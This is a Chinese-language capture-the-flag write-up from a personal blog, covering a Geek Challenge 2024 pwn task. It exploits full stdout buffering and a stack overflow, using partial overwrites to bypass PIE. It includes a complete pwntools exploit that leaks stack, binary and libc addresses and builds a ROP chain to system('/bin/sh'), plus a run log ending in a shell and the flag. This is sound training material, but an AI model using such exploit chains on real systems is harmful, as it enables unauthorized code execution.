  printf("Welocme,");
  puts("hello!?");
  gift();
  v3 = strlen(out);
  write(1, out, v3);
  vuln();
  return 0;
}

这道题提示与缓冲机制有关,所以我们先看看init()函数

注意这里运行后发现write(1, out, v3);是可以正常输出的

__int64 init()
{
  __int64 result; // rax

  result = FLAG;
  if ( FLAG )
  {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
    setvbuf(stdout, buf, 0, 0x1000uLL);
    return --FLAG;
  }
  return result;
}

标准输出是全缓冲,也就是缓冲区满0x1000才会输出到屏幕上。这也就是题目所说的缓冲机制有点问题

接着往下看

__int64 gift()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  if ( FLAG == 1 )
  {
    read(0, buf, 0x50uLL);
    puts(buf);
    FLAG = 0LL;
  }
  return 0LL;
}

gift()写0x50到buf,也是全缓冲机制的缓冲区,然后又把未初始化的buf变量直接写出来,相当于有了栈基址。不过0x50显然远远不够,得想办法填满0x1000的缓冲区

ssize_t vuln()
{
  char s[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Why can't you see me?!");
  memset(s, 0, sizeof(s));
  return read(0, s, 0x60uLL);
}

vuln()这里存在0x20的栈溢出,可以打基本ROP了,但是得先泄露基地址。

漏洞分析完了,最主要的问题就是如何填满0x1000的缓冲区?我们必须要填满缓冲区才能让程序输出内容,之后才能绕过PIE。

这道题实际考察了绕过PIE的一个小技巧,也就是之前经常会用到的partial overwrite。在PIE开启后,程序地址随机化,但我们仅可以控制程序最低一字节的执行流

有什么用呢?我们可以控制执行流到那个关键函数gift()

pwndbg> x/40i $rip
=> 0x555555555329 <main>:       endbr64
   0x55555555532d <main+4>:     push   rbp
   0x55555555532e <main+5>:     mov    rbp,rsp
   0x555555555331 <main+8>:     mov    eax,0x0
   0x555555555336 <main+13>:    call   0x555555555209 <init>
   0x55555555533b <main+18>:    lea    rdi,[rip+0xcd9]        # 0x55555555601b
   0x555555555342 <main+25>:    mov    eax,0x0
   0x555555555347 <main+30>:    call   0x5555555550e0 <printf@plt>
   0x55555555534c <main+35>:    lea    rdi,[rip+0xcd1]        # 0x555555556024
   0x555555555353 <main+42>:    call   0x5555555550b0 <puts@plt>
   0x555555555358 <main+47>:    mov    eax,0x0
   0x55555555535d <main+52>:    call   0x55555555528e <gift>
   0x555555555362 <main+57>:    lea    rdi,[rip+0x2caf]        # 0x555555558018 <_out>
   0x555555555369 <main+64>:    call   0x5555555550d0 <strlen@plt>
   0x55555555536e <main+69>:    mov    rdx,rax
   0x555555555371 <main+72>:    lea    rsi,[rip+0x2ca0]        # 0x555555558018 <_out>
   0x555555555378 <main+79>:    mov    edi,0x1
   0x55555555537d <main+84>:    call   0x5555555550c0 <write@plt>
   0x555555555382 <main+89>:    mov    eax,0x0
   0x555555555387 <main+94>:    call   0x5555555552e2 <vuln>
   0x55555555538c <main+99>:    mov    eax,0x0
   0x555555555391 <main+104>:   pop    rbp
   0x555555555392 <main+105>:   ret

已知在程序执行到vuln()时可以控制程序部分执行流,可见gift()vuln()相距不远,我们可以直接改回程序开始去不断执行gift()。这样循环往复,可以重复向buf写0x50 + 0x8的数据,直到缓冲区被填满,我们需要的信息自然就被输出出来了。

此外,由于在vuln()函数执行后刚结束就返回到write()的话,由于寄存器的值未改变,同样可以触发write(1,stack,0x60)可以泄露栈上一大堆信息,这样函数的基地址就有了,PIE当然就绕过了。

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux','splitw','-h'])

def debug():
    gdb.attach(io)
    pause()

#IO
io = process("./pwn")
libc = ELF("./libc.so.6")
elf = ELF("./pwn")

#init
gift_offset = 0x50
vuln_offset = 0x40
start_or = b'\x29'
buf_offset = 0x448
base_offset = 0x1382
write_offset = 0x1378
rdi_offset = 0x1403
rsi_offset = 0x1401
ret_offset = 0x101a
puts_offset = elf.got['puts']
beforewrite = b'\x78'


#bypass stdout
log.info("Trying to leak Stackbase...")
padding = b'A' * gift_offset
io.send(padding)
paypass = cyclic(vuln_offset + 0x8) + start_or 
log.info("Trying to fill buffer with the evil data...")
for i in range(102):
    io.sendafter(b'???,out??', paypass)
io.recvuntil(padding)
stack = u64(io.recv(6).ljust(8, b'\x00')) - 0x448 + 0x50
log.success(f"Success to bypass.The Stackbase ==> {hex(stack)}")

#leak base
padding = b'A' * vuln_offset
log.info("Trying to leak base...")
hijack = padding + p64(stack) + beforewrite
io.send(hijack)
io.recvuntil(padding)
io.recv(8)
base = u64(io.recv(6).ljust(8, b'\x00')) - base_offset
log.success(f"Success to leak base ==> {hex(base)}")

#leak libc
pop_rdi = rdi_offset + base
rsi_r15 = rsi_offset + base
puts_got = puts_offset + base
ret_addr = ret_offset + base
write_addr = write_offset + base
log.info("Trying to leak libc...")
payleak = cyclic(vuln_offset) + p64(write_addr) + start_or
log.info("Trying to create write...")
io.send(payleak)
io.sendafter(b'???,out??\n', payleak)
io.sendafter(b'???,out??\n', payleak)
log.success("Success to create a 'write()'")
payleak = cyclic(vuln_offset + 0x8) + p64(rsi_r15) + p64(puts_got) + p64(0)
io.sendafter(b'???,out??\n', payleak)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libcbase = puts_addr - libc.sym['puts']
log.success(f"Success to leak libc ==> {hex(libcbase)}")

#get shell
log.info("Trying to Getshell!")
system_addr = libcbase + libc.sym['system']
binsh_addr = libcbase + libc.search(b'/bin/sh').__next__()
payload = cyclic(vuln_offset) + p64(system_addr) + start_or
payshell = cyclic(vuln_offset + 0x8) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.sendafter(b'???,out??\n', payshell)
log.success("Success to GetShell!!!!")
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 24067: Done
[*] '/ctf/work/Geek2024/Pwn/stdout/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctf/work/Geek2024/Pwn/stdout/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Trying to leak Stackbase...
[*] Trying to fill buffer with the evil data...
[+] Success to bypass.The Stackbase ==> 0x7ffd1c573158
[*] Trying to leak base...
[+] Success to leak base ==> 0x5600c0a3c000
[*] Trying to leak libc...
[*] Trying to create write...
[+] Success to create a 'write()'
[+] Success to leak libc ==> 0x7f2b124ea000
[*] Trying to Getshell!
[+] Success to GetShell!!!!
[*] Switching to interactive mode
$ cat flag
SYC{bda97cf5-b043-4cc0-a63a-47ca750f0b93}

ez_srop#

Who is Admin?#

Geek Challenge 2024 PWN全复现
https://k4per-blog.xyz/posts/geekchallenge2024pwn全复现/
作者
K4per
发布于
2025-03-30
许可协议
CC BY-NC-SA 4.0